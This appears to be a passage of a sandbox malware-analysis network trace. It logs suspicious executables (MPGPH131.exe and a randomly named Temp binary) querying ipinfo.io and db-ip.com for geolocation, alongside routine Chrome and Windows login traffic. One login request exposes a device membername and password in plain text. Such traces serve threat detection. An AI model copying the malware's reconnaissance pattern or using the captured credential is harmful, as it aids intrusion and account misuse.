"country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-18 21:40:29 UTC	239	IN	Data Raw: 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49818	104.26.5.15	443	4584	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:29 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-18 21:40:29 UTC	654	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC454791:9C18_93878F2E:0050_6621934D_8C0A139:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bIuj3fL7U5LpO0CX26EwIu0KVjgT2G2IBh8f9SR7qq63k9%2BsOhVPncthajoY3PznLoK9stMgU7A38ZObhXfUskLUXM6bl9GK3%2Fba%2FOhHv6CSp90tYkReeNQklA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8767d045c8654583-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:40:29 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-18 21:40:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49820	104.26.5.15	443	5236	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:29 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-18 21:40:30 UTC	656	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC471629:9E82_93878F2E:0050_6621934D_8BE23D0:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=npKJ0T%2F8rmrjzNr%2FjNolK2u%2B1q%2FKh3T5QzpYmfalPJPQPxObBkKNhzyhbgi8Nil8tdAlOMC3SuOgQ2Uaswnr3Xott0bvBV2jOfQAXmadEkEoOSJrMPrOzsji0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8767d046bb0db0a9-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:40:30 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-18 21:40:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49821	74.125.138.101	443	7476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:29 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:40:30 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 18 Apr 2024 21:40:30 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49822	74.125.138.101	443	7476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:30 UTC	1109	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 931 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:40:30 UTC	931	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 31 33 34 37 36 34 31 39 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1713476419000",null,null,null,
2024-04-18 21:40:30 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=JlTLTnSBzhTMmXQITikx4PUYNy5zTxB5-t46BglnMRntF0nHQBJY6pfkUapk7N_Kd8cXtM_kiiuNqcaXBSx4Vg4KJxd6pYzthNdo9SjsomdcbW9Ag5LdITbpAqDxkZwVjTR6gB55N1d_lVE8PxaC8ik7yYWIMoE6mCeynGS4jHU; expires=Fri, 18-Oct-2024 21:40:30 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 18 Apr 2024 21:40:30 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 18 Apr 2024 21:40:30 GMT Connection: close Transfer-Encoding: chunked
2024-04-18 21:40:30 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-18 21:40:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49844	34.117.186.192	443	2304	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:36 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-18 21:40:36 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 18 Apr 2024 21:40:36 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 21:40:36 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-18 21:40:36 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49845	104.26.5.15	443	2304	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:36 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-18 21:40:36 UTC	656	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC471634:271A_93878F2E:0050_66219354_8BE2500:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7b0MuNfeHmm6QKEaGxDtC%2BEAOUQZK0knGcVXj8HMeQEMwdqAIgN82rvNEXaLN1houhDFCRCSmKavqx5At9qvs%2Fbe1sXSBGiJ4BT8wUpTx%2BEh4L%2FIJhrOdf9P2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8767d071df410709-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:40:36 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-18 21:40:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49865	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-18 21:40:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:45 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 5daa76b7-330c-4138-ba67-a9c16a00a7ae PPServer: PPV: 30 H: SN1PEPF0002F011 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:44 GMT Connection: close Content-Length: 1276
2024-04-18 21:40:45 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49868	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-18 21:40:45 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:45 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 3f39d9cb-ed77-4f0b-aa0d-8696647bcf62 PPServer: PPV: 30 H: SN1PEPF0002F151 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:44 GMT Connection: close Content-Length: 1276
2024-04-18 21:40:45 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49869	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:45 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-04-18 21:40:45 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6f 6f 65 70 71 75 65 69 67 6f 73 72 75 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 79 7e 53 79 39 44 54 59 5e 4f 46 51 35 51 66 59 75 42 63 46 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ooepqueigosruq</Membername><Password>y~Sy9DTY^OFQ5QfYuBcF</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
